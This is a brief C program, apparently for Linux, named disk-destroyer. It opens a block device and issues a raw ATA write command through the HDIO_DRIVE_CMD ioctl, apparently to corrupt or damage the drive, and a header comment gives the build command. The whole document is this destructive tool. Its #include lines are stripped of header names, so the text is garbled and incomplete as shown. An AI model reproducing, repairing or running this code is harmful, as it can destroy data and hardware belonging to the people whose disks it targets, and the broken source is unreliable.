/* * gcc -Wall -Wstrict-prototypes -O2 -s -o disk-destroyer disk-destroyer.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { unsigned char args[4+512] = {WIN_WRITE,0,0,1,}; int fd; if (argc != 2) { printf("usage: %s device\n", argv[0]); return 0; } if ((fd = open(argv[1], O_RDWR|O_NONBLOCK)) == -1) { perror("couldn't open device"); return 0; } if (ioctl(fd, HDIO_DRIVE_CMD, &args)) perror(" DISK_DESTROYER falied"); close(fd); return 0; }